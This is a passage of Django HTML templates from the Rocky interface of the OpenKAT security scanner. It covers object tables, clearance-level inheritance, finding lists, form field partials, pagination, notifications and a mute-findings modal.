    "content": "{% load ooi_extra %}\n\n{% if prop not in \"children,tree_meta\" %}\n    <tr>\n        <td>{{ prop }}</td>\n        {% if prop == \"id\" %}\n            <td>\n                <a href=\"{% ooi_url \"ooi_detail\" organization_code=organization.code ooi_id=ooi_id ooi_type=item %}\"\n                   title=\"Show details for {{ item }}\">{{ item }}</a>\n            </td>\n        {% elif prop == \"ooi_type\" %}\n            <td>\n                <a href=\"{% ooi_url \"ooi_tree\" ooi_id organization.code ooi_type=item %}\"\n                   title=\"Only show children of type {{ item }}\">{{ item }}</a>\n            </td>\n        {% else %}\n            <td>{{ item }}</td>\n        {% endif %}\n    </tr>\n{% elif prop == \"children\" and item|length %}\n    <tr>\n        <td colspan=\"2\">\n            {% for listItem in item %}\n                {% include \"partials/elements/ooi_tree_table.html\" with list=listItem current_position=current_position|add:'-r' %}\n\n            {% endfor %}\n        </td>\n    </tr>\n{% endif %}\n"
  },
  {
    "path": "rocky/rocky/templates/partials/explanations.html",
    "content": "{% load i18n %}\n{% load ooi_extra %}\n\n{% spaceless %}\n    <div class=\"horizontal-scroll\">\n        <h2>{% translate \"Clearance level inheritance\" %}</h2>\n        {% if clearance_level_inheritance %}\n            <table id=\"clearance_level_inheritance\">\n                <thead>\n                    <tr>\n                        <th>{% translate \"Type\" %}</th>\n                        <th>{% translate \"OOI\" %}</th>\n                        <th>{% translate \"Clearance level\" %}</th>\n                        <th>{% translate \"Object Type\" %}</th>\n                    </tr>\n                </thead>\n                <tbody>\n                    {% for section in clearance_level_inheritance %}\n                        <tr>\n                            {% if forloop.first %}\n                                <td>{% translate \"This OOI\" %}</td>\n                            {% elif forloop.last %}\n                                <td>{% translate \"Origin\" %}</td>\n                            {% else %}\n                                <td>Object</td>\n                            {% endif %}\n                            <td>\n                                <a href=\"{% ooi_url 'ooi_detail' section.primary_key organization.code %}\">{{ section.human_readable }}</a>\n                            </td>\n                            <td>\n                                L{{ section.level }}\n                                {% if forloop.last %}\n                                    {% translate \"declared\" %}\n                                {% else %}\n                                    {% translate \"inherited from ↓\" %}\n                                {% endif %}\n                            </td>\n                            <td>{{ section.object_type }}</td>\n                        </tr>\n                    {% endfor %}\n                </tbody>\n            </table>\n        {% else %}\n            <a href=\"{% ooi_url 'scan_profile_detail' ooi_id=ooi organization_code=organization.code show_clearance_level_inheritance=True %}#clearance_level_inheritance\">{% translate \"Show clearance level inheritance\" %}</a>\n        {% endif %}\n    </div>\n{% endspaceless %}\n"
  },
  {
    "path": "rocky/rocky/templates/partials/finding_occurrence_definition_list.html",
    "content": "{% load i18n %}\n\n<dl>\n    {% include \"partials/elements/definition_list_item.html\" with label=\"Time of testing\" %}\n\n    {% if finding.proof %}\n        {% translate \"Proof\" as label %}\n        {% include \"partials/elements/definition_list_item.html\" with label=label description=finding.proof %}\n\n    {% endif %}\n    {% if finding.reproduce %}\n        {% translate \"Reproduction\" as label %}\n        {% include \"partials/elements/definition_list_item.html\" with label=label description=finding.reproduce %}\n\n    {% endif %}\n    {% if finding.items %}\n        {% include \"partials/elements/definition_list_items.html\" with items=finding.items exclude_keys=\"id,human_readable,ooi_type,ooi,finding_type,proof,reproduce\" %}\n\n    {% endif %}\n</dl>\n"
  },
  {
    "path": "rocky/rocky/templates/partials/findings_list_toolbar.html",
    "content": "{% load i18n %}\n\n<div class=\"horizontal-view toolbar\">\n    <a href=\"{% url 'finding_add' organization.code %}\" class=\"button ghost\">{% translate \"Add finding\" %}</a>\n    <a href=\"{% url \"finding_type_add\" organization.code %}\"\n       class=\"button ghost\">{% translate \"Add finding type\" %}</a>\n    <!-- Note that we cannot pass e.g. severity=request.GET.severity explicitly since this is a list parameter -->\n</div>\n"
  },
  {
    "path": "rocky/rocky/templates/partials/form/boefje_tiles_form.html",
    "content": "{% load i18n %}\n\n<form class=\"inline\" method=\"post\">\n    {% csrf_token %}\n    {% if checkbox_group_table_form %}\n        {% include \"partials/form/form_errors.html\" with form=field %}\n\n        {% for choices in checkbox_group_table_form %}{{ choices }}{% endfor %}\n    {% endif %}\n    <div class=\"button-container\">\n        <button type=\"submit\"\n                class=\"{{ btn_class }}\"\n                {% if btn_disabled %}disabled{% endif %}>{{ btn_text }}</button>\n        {% if skip_onboarding == \"yes\" and organization.code %}\n            <a href=\"{% url \"complete_onboarding\" organization.code %}\"\n               class=\"button ghost\">{% translate \"Skip onboarding\" %}</a>\n        {% endif %}\n    </div>\n</form>\n"
  },
  {
    "path": "rocky/rocky/templates/partials/form/checkbox_group_table_form.html",
    "content": "{% load i18n %}\n\n<form method=\"post\" class=\"inline layout-wide\">\n    <input type=\"hidden\" name=\"action\" value=\"{{ action }}\">\n    {% csrf_token %}\n    {% if checkbox_group_table_form %}\n        <div class=\"horizontal-scroll\">\n            {% include \"partials/form/form_errors.html\" with form=checkbox_group_table_form %}\n\n            {% for field in checkbox_group_table_form %}{{ field }}{% endfor %}\n        </div>\n    {% endif %}\n    <input type=\"hidden\" name=\"{{ key }}\" value=\"{{ value }}\">\n    <button type=\"submit\"\n            class=\"{{ btn_class }}\"\n            {% if not plugin_enabled %}disabled{% endif %}>{{ btn_text }}</button>\n    {% if not plugin_enabled %}\n        <span class=\"de-emphasized\">{% translate \"Please enable plugin to start scanning.\" %}</span>\n    {% endif %}\n</form>\n"
  },
  {
    "path": "rocky/rocky/templates/partials/form/field_hidden_from_list.html",
    "content": "{% spaceless %}\n    {% if list %}\n        {% for tuple in list %}\n            {% if tuple.0 not in form.fields and tuple.0 not in ignore_params %}\n                <input type=\"text\" name=\"{{ tuple.0 }}\" value=\"{{ tuple.1 }}\">\n            {% endif %}\n        {% endfor %}\n    {% endif %}\n{% endspaceless %}\n"
  },
  {
    "path": "rocky/rocky/templates/partials/form/field_input.html",
    "content": "{% load i18n %}\n\n<div {% if field.field.required %}class=\"required\"{% endif %}>\n    {% if field.field.required %}\n        <label>\n            {{ field.label_tag }} <span class=\"nota-bene\" aria-hidden>({% translate \"Required\" %})</span>\n        </label>\n    {% else %}\n        {{ field.label_tag }}\n    {% endif %}\n    <p id=\"input-description\" class=\"nota-bene\">{{ field.field.widget.attrs.description }}</p>\n    {% if form_view != \"vertical\" %}\n        <div>\n            <div>\n                {% if not field.field.widget.attrs.fixed_paws %}\n                    {{ field }}\n                {% elif field.field.widget.attrs.fixed_paws < 0 %}\n                    {% translate \"Not set\" %}\n                {% else %}\n                    {% include \"partials/scan_level_indicator.html\" with value=field.field.widget.attrs.fixed_paws custom_class=field.field.widget.attrs.class %}\n\n                {% endif %}\n                {% include \"partials/form/field_input_help_text.html\" with help_text=field.help_text %}\n                {% include \"partials/form/field_input_errors.html\" %}\n\n            </div>\n            {% if form_name == \"login\" and field.name == \"username\" %}\n                <div class=\"input-link\">\n                    <a href=\"{% url \"recover_email\" %}\">{% translate \"Forgot email\" %}</a>\n                </div>\n            {% endif %}\n            {% if form_name == \"login\" and field.name == \"password\" %}\n                <div class=\"input-link\">\n                    <a href=\"{% url \"password_reset\" %}\">{% translate \"Forgot password\" %}</a>\n                </div>\n            {% endif %}\n        </div>\n    {% else %}\n        <div>\n            {% if field.field.required %}\n                <label>\n                    {{ field.label_tag }} <span class=\"nota-bene\" aria-hidden>({% translate \"Required\" %})</span>\n                </label>\n            {% endif %}\n            <div>\n                {{ field }}\n                {% include \"partials/form/field_input_help_text.html\" with help_text=field.help_text %}\n                {% include \"partials/form/field_input_errors.html\" %}\n\n            </div>\n        </div>\n    {% endif %}\n</div>\n"
  },
  {
    "path": "rocky/rocky/templates/partials/form/field_input_checkbox.html",
    "content": "{% load i18n %}\n\n{% if field.field.widget.allow_multiple_selected %}\n    {% include \"partials/form/field_input_multiselect.html\" %}\n\n{% else %}\n    <div class=\"{% if field.field.required %}required{% endif %}\">\n        <label>\n            {{ field.field.widget.attrs.field_form_label }}\n            {% if field.field.required %}\n                <span class=\"nota-bene\">({% translate \"Required\" %})</span>\n            {% endif %}\n        </label>\n        <div>\n            <div class=\"checkbox\">\n                {{ field }}\n                {{ field.label_tag }}\n            </div>\n            {% include \"partials/form/field_input_help_text.html\" with help_text=field.help_text %}\n            {% include \"partials/form/field_input_errors.html\" %}\n\n        </div>\n    </div>\n{% endif %}\n"
  },
  {
    "path": "rocky/rocky/templates/partials/form/field_input_errors.html",
    "content": "{% load i18n %}\n\n{% if field.errors %}\n    <p class=\"error\" role=\"group\" aria-label=\"{% translate \"error\" %}\">\n        <span>{% translate \"Error:\" %}</span>\n        {% for error in field.errors %}\n            {{ error|escape }}\n        </br>\n    {% endfor %}\n</p>\n{% endif %}\n"
  },
  {
    "path": "rocky/rocky/templates/partials/form/field_input_help_text.html",
    "content": "{% load i18n %}\n\n{% spaceless %}\n    {% if help_text %}\n        <div id=\"explanation-{{ field.label.split|join:\"-\"|lower }}\"\n             class=\"explanation\"\n             role=\"group\"\n             data-open-label=\"{% translate \"Open explanation\" %}\"\n             data-close-label=\"{% translate \"Close explanation\" %}\"\n             aria-label=\"{% translate \"explanation\" %}\">\n            <div>\n                <span>{% translate \"Explanation:\" %}</span>\n                {{ help_text }}\n            </div>\n        </div>\n    {% endif %}\n{% endspaceless %}\n"
  },
  {
    "path": "rocky/rocky/templates/partials/form/field_input_hidden.html",
    "content": "{% load rocky %}\n\n{% if field|is_multiple_hidden %}\n    {% for val in field.value %}<input type=\"hidden\" name=\"{{ field.name }}\" value=\"{{ val|escape }}\" />{% endfor %}\n{% else %}\n    {{ field }}\n{% endif %}\n"
  },
  {
    "path": "rocky/rocky/templates/partials/form/field_input_multiselect.html",
    "content": "{% load i18n %}\n\n<fieldset class=\"{{ fieldset_class }}\">\n    <label>\n        {{ field.label }}\n        {% if field.field.required %}\n            <span class=\"nota-bene\">({% translate \"Required\" %})</span>\n        {% endif %}\n    </label>\n    <div class=\"{{ custom_class }}\">\n        {% for choice in field %}\n            <div class=\"checkbox\">\n                <input type=\"{% if choice.data.value < 0 %}hidden{% else %}checkbox{% endif %}\"\n                       name=\"{{ field.name }}\"\n                       value=\"{{ choice.data.value }}\"\n                       id=\"id_{{ field.name }}_{{ forloop.counter0 }}\"\n                       {% if choice.data.attrs.disabled %}disabled{% endif %}\n                       {% if choice.data.selected or choice.data.attrs.checked or choice.data.attrs.required %}checked{% endif %} />\n                <label for=\"id_{{ field.name }}_{{ forloop.counter0 }}\">{{ choice.choice_label|capfirst }}</label>\n            </div>\n        {% endfor %}\n    </div>\n    {% include \"partials/form/field_input_help_text.html\" with help_text=field.help_text %}\n    {% include \"partials/form/field_input_errors.html\" with field=field %}\n\n</fieldset>\n"
  },
  {
    "path": "rocky/rocky/templates/partials/form/field_input_radio.html",
    "content": "{% load i18n %}\n\n<fieldset class=\"{{ fieldset_class }}\">\n    <label>\n        {{ field.label }}\n        {% if field.field.required %}\n            <span class=\"nota-bene\" aria-hidden>({% translate \"Required\" %})</span>\n        {% endif %}\n    </label>\n    {% for choice in field %}\n        <div class=\"radio\">\n            <input type=\"radio\" name=\"{{ field.name }}\" value=\"{{ choice.data.value }}\" {% for key, value in choice.data.attrs.items %}{{ key }}=\"{{ value }}\"{% endfor %} {% if field.initial == choice.data.value %}checked=\"True\"{% endif %}>\n            <label for=\"id_{{ field.name }}_{{ forloop.counter0 }}\">\n                {% if choice.data.attrs.radio_paws %}\n                    {% include \"partials/scan_level_indicator.html\" with value=choice.data.value custom_class=choice.data.attrs.class %}\n\n                {% else %}\n                    {{ choice.choice_label }}\n                {% endif %}\n            </label>\n        </div>\n    {% endfor %}\n    {% include \"partials/form/field_input_help_text.html\" with help_text=field.help_text %}\n    {% include \"partials/form/field_input_errors.html\" with field=field %}\n\n</fieldset>\n"
  },
  {
    "path": "rocky/rocky/templates/partials/form/field_input_wrapper.html",
    "content": "{# include template for input type, with fallback field_input.html #}\n{% if field.field.widget.input_type in \"checkbox,radio,hidden\" %}\n    {% include \"partials/form/field_input_\"|add:field.field.widget.input_type|add:\".html\" %}\n\n{% else %}\n    {% include \"partials/form/field_input.html\" %}\n\n{% endif %}\n"
  },
  {
    "path": "rocky/rocky/templates/partials/form/fieldset.html",
    "content": "{% load i18n %}\n\n<fieldset class=\"{{ fieldset_parent_class }}\">\n    {% if legend %}<legend>{{ legend }}</legend>{% endif %}\n    {% for field in fields %}\n        {% if not fieldset or field.name in fieldset.split %}\n            {% include \"partials/form/field_input_wrapper.html\" %}\n\n        {% endif %}\n    {% endfor %}\n</fieldset>\n"
  },
  {
    "path": "rocky/rocky/templates/partials/form/form_errors.html",
    "content": "{% load i18n %}\n\n{% if form.non_field_errors %}\n    <div class=\"non-field-errors\" role=\"alert\" aria-live=\"assertive\">\n        <p class=\"error\">\n            <span class=\"visually-hidden\"><strong>{% translate \"Error:\" %}</strong></span>\n        </p>\n        <ul>\n            {% for error in form.non_field_errors %}<li>{{ error }}</li>{% endfor %}\n        </ul>\n    </div>\n{% endif %}\n{% for hidden in form.hidden_fields %}\n    {% for error in hidden.errors %}\n        <div class=\"error\" role=\"alert\" aria-live=\"polite\">\n            <span class=\"visually-hidden\">{% translate \"Error:\" %}</span> {{ hidden }}{{ error }}\n        </div>\n    {% endfor %}\n{% endfor %}\n"
  },
  {
    "path": "rocky/rocky/templates/partials/form/indemnification_add_form.html",
    "content": "{% load i18n %}\n\n<div class=\"layout-form\">\n    <p>\n        {% blocktranslate trimmed %}\n            Performing security scans against assets is generally\n            only allowed if you have permission to scan those assets.\n            Certain scans might also have a negative impact on (your)\n            assets. Therefore it is important to know and be aware of\n            the impact of security scans.\n        {% endblocktranslate %}\n    </p>\n    <p>\n        {% blocktranslate trimmed %}\n            An organization indemnification is required before you can use OpenKAT.\n            With the indemnification you declare that you, as a person, can be held accountable.\n        {% endblocktranslate %}\n    </p>\n    <form method=\"post\">\n        {% csrf_token %}\n        {% translate \"Set an indemnification\" as fieldset_legend %}\n        {% include \"partials/form/fieldset.html\" with legend=fieldset_legend fields=form %}\n\n        <button type=\"submit\">{% translate \"Submit\" %}</button>\n    </form>\n</div>\n"
  },
  {
    "path": "rocky/rocky/templates/partials/hyperlink_ooi_id.html",
    "content": "{% load i18n %}\n{% load static %}\n\n<a href=\"{% ooi_url \"ooi_detail\" value.primary_key organization_code query=mandatory_fields %}\"\n   title=\"{% blocktranslate trimmed with name=value.human_readable %} Show details for {{ name }} {% endblocktranslate %}\">{{ value.human_readable }}</a>\n"
  },
  {
    "path": "rocky/rocky/templates/partials/hyperlink_ooi_type.html",
    "content": "{% load i18n %}\n{% load static %}\n\n<a href=\"{% ooi_url 'ooi_list' '' organization_code ooi_type=value.ooi_type query=mandatory_fields %} \"\n   title=\"{% blocktranslate trimmed with type=value.ooi_type %} Only show objects of type {{ type }} {% endblocktranslate %}\">{{ value.ooi_type }}</a>\n"
  },
  {
    "path": "rocky/rocky/templates/partials/language-switcher.html",
    "content": "{% load i18n %}\n\n{% get_language_info for LANGUAGE_CODE as lang %}\n<div class=\"language-selector\">\n    <div class=\"dropdown\">\n        <button type=\"button\"\n                aria-controls=\"language-switcher\"\n                aria-expanded=\"false\"\n                class=\"dropdown-button ghost\">\n            {{ lang.name_local|title }}\n            <span aria-hidden=\"true\" class=\"icon ti-chevron-down\"></span>\n        </button>\n        <ul id=\"language-switcher\" role=\"listbox\" class=\"dropdown-list\">\n            {% for language in languages %}\n                {% get_language_info for language as lang %}\n                {% if LANGUAGE_CODE != language %}\n                    <li>\n                        <a hreflang=\"{{ language }}\"\n                           href=\"#\"\n                           role=\"option\"\n                           data-value=\"{{ language }}\"\n                           lang=\"{{ language }}\">\n                            <button form=\"set-language\" type=\"submit\" name=\"language\" value={{ language }}>\n                                {{ lang.name_local.title }}\n                            </button>\n                        </a>\n                    </li>\n                {% endif %}\n            {% endfor %}\n        </ul>\n    </div>\n    <form id=\"set-language\"\n          action=\"{% url \"set_language\" %}\"\n          method=\"post\"\n          class=\"inline\">\n        {% csrf_token %}\n    </form>\n</div>\n"
  },
  {
    "path": "rocky/rocky/templates/partials/list_filters.html",
    "content": "{% load i18n %}\n{% load static %}\n\n<section class=\"filter\">\n    <div>\n        <button aria-expanded=\"false\"\n                data-hide-filters-label=\"{% block hide_text %}{% translate \"Hide filter options\" %}{% endblock hide_text %} \">\n            {% translate \"Show filter options\" %}\n        </button>\n    </div>\n    {% block filter_form %}\n    {% endblock filter_form %}\n</section>\n"
  },
  {
    "path": "rocky/rocky/templates/partials/list_paginator.html",
    "content": "{% load i18n %}\n\n{% if page_obj.paginator.num_pages > 1 %}\n    <nav role=\"navigation\"\n         class=\"pagination\"\n         aria-label=\"{% translate \"List pagination\" %}\">\n        <ul>\n            {% if page_obj.has_previous %}\n                <li>\n                    <a title=\"{% translate \"Previous Page\" %}\"\n                       aria-label=\"{% translate \"Previous Page\" %}\"\n                       href=\"{% querystring page=page_obj.previous_page_number %}\">\n                        <span>{% translate \"Previous\" %}</span>\n                    </a>\n                </li>\n            {% endif %}\n            {% if page_obj.number|add:'-4' > 1 %}\n                <li>\n                    <a title=\"{% translate \"Five Pages Back\" %}\"\n                       aria-label=\"{% translate \"Five Pages Back\" %}\"\n                       href=\"{% querystring page=page_obj.number|add:'-5' %}\">…</a>\n                </li>\n            {% endif %}\n            {% for i in page_obj.paginator.page_range %}\n                {% if page_obj.number == i %}\n                    <li>\n                        <a title=\"{% translate \"Page\" %} {{ i }} ({% translate \"Current\" %})\"\n                           aria-label=\"{% translate \"Page\" %} {{ i }}\"\n                           aria-current=\"true\">{{ page_obj.number }}</a>\n                    </li>\n                {% elif i > page_obj.number|add:'-5' and i < page_obj.number|add:'5' %}\n                    <li>\n                        <a title=\"{% translate \"Page\" %} {{ i }}\"\n                           aria-label=\"{% translate \"Page\" %} {{ i }}\"\n                           href=\"{% querystring page=i %}\">{{ i }}</a>\n                    </li>\n                {% endif %}\n            {% endfor %}\n            {% if page_obj.paginator.num_pages > page_obj.number|add:'4' %}\n                <li>\n                    <a title=\"{% translate \"Five Pages Forward\" %}\"\n                       aria-label=\"{% translate \"Five Pages Forward\" %}\"\n                       href=\"{% querystring page=page_obj.number|add:'5' %}\">…</a>\n                </li>\n            {% endif %}\n            {% if page_obj.has_next %}\n                <li>\n                    <a title=\"{% translate \"Next Page\" %}\"\n                       aria-label=\"{% translate \"Next Page\" %}\"\n                       href=\"{% querystring page=page_obj.next_page_number %}\">\n                        <span>{% translate \"Next\" %}</span>\n                    </a>\n                </li>\n            {% endif %}\n        </ul>\n    </nav>\n{% endif %}\n"
  },
  {
    "path": "rocky/rocky/templates/partials/mute_findings_modal.html",
    "content": "{% load i18n %}\n\n{% component \"modal\" modal_id=\"mute-findings-modal\" size=\"dialog-medium\" %}\n{% fill \"header\" %}\n{% translate \"Mute finding\" %}\n{% endfill %}\n{% fill \"content\" %}\n<p>{% translate \"You are muting the selected findings.\" %}</p>\n<form method=\"post\" id=\"new-dashboard-item-form\">\n    {% csrf_token %}\n    <fieldset>\n        <div>\n            <label for=\"id_reason\">{% translate \"Reason:\" %}</label>\n            <div>\n                <textarea name=\"reason\" cols=\"5\" rows=\"3\" id=\"id_reason\"></textarea>\n            </div>\n            <div>\n                <label for=\"id_end_valid_time\">{% translate \"Expires by (UTC):\" %}</label>\n                <input type=\"datetime-local\" name=\"end_valid_time\" id=\"id_end_valid_time\">\n            </div>\n        </div>\n    </fieldset>\n</form>\n{% endfill %}\n{% fill \"footer_buttons\" %}\n<button type=\"submit\" form=\"finding-list-form\">{% translate \"Mute findings\" %}</button>\n<button class=\"ghost close-modal-button\">{% translate \"Cancel\" %}</button>\n{% endfill %}\n{% endcomponent %}\n{% component_css_dependencies %}\n"
  },
  {
    "path": "rocky/rocky/templates/partials/notifications_block.html",
    "content": "{% load i18n %}\n\n{% if messages %}\n    {% for message in messages %}\n        {% if \"success\" in message.tags %}\n            <div class=\"message\">\n                <div class=\"confirmation\"\n                     role=\"group\"\n                     aria-label=\"{% translate \"confirmation\" %}\">\n                    <div>\n                        <span>{% translate \"Confirmation:\" %}</span>\n                        <p>\n                            {% if \"safe\" in message.tags %}\n                                {{ message|safe }}\n                            {% else %}\n                                {{ message }}\n                            {% endif %}\n                        </p>\n                    </div>\n                </div>\n            </div>\n        {% elif \"error\" in message.tags %}\n            <div class=\"message\">\n                <div class=\"error\" role=\"group\" aria-label=\"{% translate \"error\" %}\">\n                    <div>\n                        <span>{% translate \"Error:\" %}</span>\n                        <p>\n                            {% if \"safe\" in message.tags %}\n                                {{ message|safe }}\n                            {% else %}\n                                {{ message }}\n                            {% endif %}\n                        </p>\n                    </div>\n                </div>\n            </div>\n        {% elif \"info\" in message.tags %}\n            <div class=\"message\">\n                <div class=\"explanation\"\n                     role=\"group\"\n                     aria-label=\"{% translate \"explanation\" %}\">\n                    <div>\n                        <span>{% translate \"Explanation:\" %}</span>\n                        <p>\n                            {% if \"safe\" in message.tags %}\n                                {{ message|safe }}\n                            {% else %}\n                                {{ message }}\n                            {% endif %}\n                        </p>\n                    </div>\n                </div>\n            </div>\n        {% elif \"warning\" in message.tags %}\n            <div class=\"message\">\n                <div class=\"warning\" role=\"group\" aria-label=\"{% translate \"warning\" %}\">\n                    <div>\n                        <span>{% translate \"Warning:\" %}</span>\n                        <p>\n                            {% if \"safe\" in message.tags %}\n                                {{ message|safe }}\n                            {% else %}\n                                {{ message }}\n                            {% endif %}\n                        </p>\n                    </div>\n                </div>\n            </div>\n        {% endif %}\n    {% endfor %}\n{% endif %}\n"
  },
  {
    "path": "rocky/rocky/templates/partials/ooi_detail_related_object.html",
    "content": "{% load i18n %}\n\n<div class=\"horizontal-scroll\">\n    <div class=\"introduction\">\n        <div>\n            <h2>{% translate \"Related objects\" %}</h2>\n            {% if not related %}\n                <p>{% translate \"No related object known for\" %} {{ ooi.get_ooi_type }}.</p>\n            {% endif %}\n        </div>\n        <div>\n            {% if not ooi_past_due %}\n                {% if not ooi|is_finding and not ooi|is_finding_type %}\n                    <div class=\"horizontal-view {% if related %}toolbar{% endif %}\">\n                        <a href=\"{% ooi_url \"ooi_add_related\" ooi.primary_key organization.code %}\"\n                           class=\"button ghost\"><span aria-hidden=\"true\" class=\"icon ti-plus\"></span>{% translate \"Add related object\" %}</a>\n                    </div>\n                {% endif %}\n            {% endif %}\n        </div>\n    </div>\n    {% if related %}\n        <table>\n            <caption class=\"visually-hidden\">{% translate \"Related objects\" %}</caption>\n            <thead>\n                <tr>\n                    <th>{% translate \"Name\" %}</th>\n                    <th>{% translate \"Type\" %}</th>\n                </tr>\n            </thead>\n            <tbody>\n                {% for related_ooi in related %}\n                    <tr>\n                        <td>\n                            <a href=\"{% ooi_url \"ooi_detail\" related_ooi.reference organization.code query=related_ooi.mandatory_fields %}\">{{ related_ooi.reference.human_readable }}</a>\n                        </td>\n                        <td>\n                            <a href=\"{% url \"ooi_list\" organization.code %}?ooi_type={{ related_ooi.reference.class_ }}\">{{ related_ooi.reference.class_ }}</a>\n                        </td>\n                    </tr>\n                {% endfor %}\n            </tbody>\n        </table>\n    {% endif %}\n</div>\n"
  },
  {
    "path": "rocky/rocky/templates/partials/ooi_detail_toolbar.html",
    "content": "{% load i18n %}\n\n{% translate props.ooi_type as display_type %}\n<div class=\"horizontal-view\">\n    {% if possible_reports %}\n        <div class=\"dropdown\">\n            <button type=\"button\"\n                    aria-controls=\"report-selector\"\n                    aria-expanded=\"false\"\n                    class=\"dropdown-button ghost\">\n                {% translate \"Generate Report\" %}\n                <span aria-hidden=\"true\" class=\"icon ti-chevron-down\"></span>\n            </button>\n            <ul id=\"report-selector\" role=\"listbox\" class=\"dropdown-list\">\n                {% for report in possible_reports %}\n                    <li>\n                        <form method=\"post\"\n                              action=\"{% url 'generate_report_setup_scan' organization.code %}\"\n                              class=\"inline\">\n                            {% csrf_token %}\n                            <input type=\"hidden\" name=\"ooi\" value=\"{{ ooi_id }}\">\n                            <input type=\"hidden\" name=\"report_type\" value=\"{{ report.id }}\">\n                            <button type=\"submit\" role=\"option\">{{ report.name }}</button>\n                        </form>\n                    </li>\n                {% endfor %}\n            </ul>\n        </div>\n    {% endif %}\n    {% if not ooi_past_due %}\n        {% if ooi|is_finding and perms.tools.can_mute_findings %}\n            <a href=\"{% ooi_url 'finding_mute' ooi_id organization.code %}\"\n               class=\"button ghost nowrap\">{% translate \"Mute finding\" %}</a>\n        {% endif %}\n        {% if not ooi|is_finding and not ooi|is_finding_type %}\n            <a href=\"{% ooi_url 'ooi_edit' ooi_id organization.code %}\"\n               class=\"button ghost nowrap\">{% blocktranslate %}Edit {{ display_type }}{% endblocktranslate %}</a>\n        {% endif %}\n        {% if not ooi|is_finding_type and perms.tools.can_delete_oois %}\n            <a href=\"{% ooi_url 'ooi_delete' ooi_id organization.code %}\"\n               class=\"button ghost destructive nowrap\">{% blocktranslate %}Delete {{ display_type }}{% endblocktranslate %}</a>\n        {% endif %}\n    {% endif %}\n</div>\n"
  },
  {
    "path": "rocky/rocky/templates/partials/ooi_head.html",
    "content": "{% load i18n %}\n\n{% include \"partials/ooi_detail_toolbar.html\" with ooi_id=ooi.primary_key %}\n\n<h1>{{ ooi.get_ooi_type }}: {{ ooi.human_readable }}</h1>\n<p>\n    {% translate \"Data from:\" %} {{ observed_at }} GMT\n    {% if not historic_view %}\n        {% translate \"(Now)\" %}\n    {% endif %}\n</p>\n{% include \"oois/ooi_page_tabs.html\" with view=view ooi=ooi %}\n"
  },
  {
    "path": "rocky/rocky/templates/partials/ooi_list_filters.html",
    "content": "{% load i18n %}\n\n<div class=\"filter\">\n    <div>\n        <button aria-expanded=\"false\"\n                data-hide-filters-label='{% translate \"Hide filters\" %}'>\n            {% translate \"Show filters\" %}\n            {% if active_filters_counter > 0 %}\n                ({{ active_filters_counter }} {% translate \"applied\" %})\n            {% endif %}\n        </button>\n    </div>\n    {% include \"partials/elements/ooi_list_settings_form.html\" %}\n\n</div>\n"
  },
  {
    "path": "rocky/rocky/templates/partials/ooi_list_toolbar.html",
    "content": "{% load i18n %}\n{% load static %}\n\n{% spaceless %}\n    <div class=\"horizontal-view toolbar\">\n        <div class=\"dropdown\">\n            <button aria-controls=\"export-add\"\n                    aria-expanded=\"false\"\n                    class=\"dropdown-button ghost\">\n                {% translate \"Add\" %}<span aria-hidden=\"true\" class=\"icon ti-chevron-down\"></span>\n            </button>\n            <div id=\"export-add\" class=\"dropdown-list\">\n                <ul>\n                    <li>\n                        <a href=\"{% url 'ooi_add_type_select' organization.code %}\"><span class=\"icon ti-plus\" aria-hidden=\"true\"></span>{% translate \"Add object\" %}</a>\n                    </li>\n                    <li>\n                        <a href=\"{% url 'scan_list' organization.code %}\"><span class=\"icon ti-eye-plus\" aria-hidden=\"true\"></span>{% translate \"Scan for objects\" %}</a>\n                    </li>\n                    <li>\n                        <a href=\"{% url 'upload_raw' organization.code %}\"><span class=\"icon ti-file-upload\" aria-hidden=\"true\"></span>{% translate \"Upload raw file\" %}</a>\n                    </li>\n                    <li>\n                        <a href=\"{% url 'upload_csv' organization.code %}\"><span class=\"icon ti-file-upload\" aria-hidden=\"true\"></span>{% translate \"Upload CSV\" %}</a>\n                    </li>\n                </ul>\n            </div>\n        </div>\n        <div class=\"dropdown\">\n            <button aria-controls=\"export-dropdown\"\n                    aria-expanded=\"false\"\n                    class=\"dropdown-button ghost\">\n                {% translate \"Export\" %}\n                <span aria-hidden=\"true\" class=\"icon ti-chevron-down\"></span>\n            </button>\n            <div id=\"export-dropdown\" class=\"dropdown-list\">\n                <ul>\n                    <li>\n                        <a href=\"{% url 'ooi_list_export' organization.code %}?{% url_replace 'file_type' 'json' %}\"><span class=\"icon ti-download\"></span>{% translate \"Download as JSON\" %}</a>\n                    </li>\n                    <li>\n                        <a href=\"{% url 'ooi_list_export' organization.code %}?{% url_replace 'file_type' 'csv' %}\"><span class=\"icon ti-download\"></span>{% translate \"Download as CSV\" %}</a>\n                    </li>\n                </ul>\n            </div>\n        </div>\n    </div>\n{% endspaceless %}\n"
  },
  {
    "path": "rocky/rocky/templates/partials/ooi_report_findings_block.html",
    "content": "{% load i18n %}\n\n<section>\n    <div>\n        <h2>{% translate \"Findings\" %}</h2>\n        <h3>\n            {% blocktranslate with name=ooi.human_readable total=findings_list.meta.total trimmed %}\n                {{ total }} findings on {{ name }}\n            {% endblocktranslate %}\n        </h3>\n        {% if findings_list.meta.total %}\n            {% include \"partials/ooi_report_findings_block_table.html\" %}\n\n        {% endif %}\n    </div>\n</section>\n"
  },
  {
    "path": "rocky/rocky/templates/partials/ooi_report_findings_block_table.html",
    "content": "{% load i18n %}\n{% load ooi_extra %}\n\n<div class=\"horizontal-scroll sticky-column\">\n    <p class=\"de-emphasized\">\n        {% blocktranslate trimmed with name=ooi.human_readable type=ooi.get_ooi_type %}\n            Findings for {{ type }} {{ name }} on {{ observed_at }}:\n        {% endblocktranslate %}\n    </p>\n    <table class=\"nowrap\">\n        <caption class=\"visually-hidden\">{% translate \"Findings\" %}</caption>\n        <thead>\n            <tr>\n                <th scope=\"col\">{% translate \"Risk level\" %}</th>\n                <th scope=\"col\">{% translate \"Finding type\" %}</th>\n                <th scope=\"col\">{% translate \"Occurrences\" %}</th>\n                <th scope=\"col\" class=\"visually-hidden actions\">{% translate \"Details\" %}</th>\n            </tr>\n        </thead>\n        <tbody>\n            {% for findings in findings_list.findings_grouped.values %}\n                <tr>\n                    <td>\n                        <span class=\"{{ findings.finding_type.risk_severity }}\">{{ findings.finding_type.risk_severity }}</span>\n                    </td>\n                    <td>{{ findings.finding_type.id }}</td>\n                    <td class=\"number\">{{ findings_list.meta.total_by_finding_type|get_item:findings.finding_type.id }}</td>\n                    <td class=\"actions sticky-cell\">\n                        <button class=\"expando-button\"\n                                data-icon-open-class=\"icon ti-chevron-down\"\n                                data-icon-close-class=\"icon ti-chevron-up\">\n                            {% translate \"Open finding details\" %}\n                        </button>\n                    